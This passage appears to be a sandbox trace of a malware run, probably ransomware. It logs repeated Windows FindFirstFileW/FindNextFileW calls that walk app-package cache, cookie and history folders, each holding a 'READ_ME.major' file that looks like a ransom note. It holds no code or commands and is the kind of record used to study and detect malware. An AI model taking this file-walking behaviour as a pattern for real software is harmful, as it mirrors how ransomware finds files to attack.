dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.963] FindNextFileW (in: hFindFile=0x2f2dfd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33756820, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33756820, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.964] FindNextFileW (in: hFindFile=0x2f2dfd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33756820, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33756820, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.964] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d958 [0207.964] FindNextFileW (in: hFindFile=0x2f2d958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.964] FindNextFileW (in: hFindFile=0x2f2d958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3377cb29, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3377cb29, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.964] FindNextFileW (in: hFindFile=0x2f2d958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3377cb29, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3377cb29, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.964] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d918 [0207.964] FindNextFileW (in: hFindFile=0x2f2d918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.964] FindNextFileW (in: hFindFile=0x2f2d918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3377cb29, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3377cb29, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.964] FindNextFileW (in: hFindFile=0x2f2d918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3377cb29, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3377cb29, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3377cb29, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.964] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x337a2cb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d9d8 [0207.965] FindNextFileW (in: hFindFile=0x2f2d9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x337a2cb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.965] FindNextFileW (in: hFindFile=0x2f2d9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3377cb29, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3377cb29, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x337a2cb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.965] FindNextFileW (in: hFindFile=0x2f2d9d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3377cb29, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3377cb29, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x337a2cb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.965] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2db98 [0207.965] FindNextFileW (in: hFindFile=0x2f2db98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.965] FindNextFileW (in: hFindFile=0x2f2db98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3381540a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3381540a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.965] FindNextFileW (in: hFindFile=0x2f2db98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3381540a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3381540a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.965] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dbd8 [0207.965] FindNextFileW (in: hFindFile=0x2f2dbd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.965] FindNextFileW (in: hFindFile=0x2f2dbd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3381540a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3381540a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.965] FindNextFileW (in: hFindFile=0x2f2dbd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3381540a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3381540a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.966] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dc18 [0207.966] FindNextFileW (in: hFindFile=0x2f2dc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.966] FindNextFileW (in: hFindFile=0x2f2dc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3381540a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3381540a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.966] FindNextFileW (in: hFindFile=0x2f2dc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3381540a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3381540a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3381540a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.966] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dc58 [0207.966] FindNextFileW (in: hFindFile=0x2f2dc58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.966] FindNextFileW (in: hFindFile=0x2f2dc58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33887b52, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33887b52, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.966] FindNextFileW (in: hFindFile=0x2f2dc58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33887b52, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33887b52, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.966] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e4b4510, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dd58 [0207.966] FindNextFileW (in: hFindFile=0x2f2dd58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e4b4510, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.967] FindNextFileW (in: hFindFile=0x2f2dd58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33887b52, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33887b52, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.967] FindNextFileW (in: hFindFile=0x2f2dd58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33887b52, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33887b52, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.967] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dc98 [0207.967] FindNextFileW (in: hFindFile=0x2f2dc98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.967] FindNextFileW (in: hFindFile=0x2f2dc98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33887b52, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33887b52, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.967] FindNextFileW (in: hFindFile=0x2f2dc98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33887b52, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33887b52, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33887b52, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.972] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b63dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dd98 [0207.972] FindNextFileW (in: hFindFile=0x2f2dd98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b63dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.972] FindNextFileW (in: hFindFile=0x2f2dd98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x339466f1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x339466f1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.972] FindNextFileW (in: hFindFile=0x2f2dd98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x339466f1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x339466f1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.972] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b6882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ddd8 [0207.972] FindNextFileW (in: hFindFile=0x2f2ddd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b6882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", 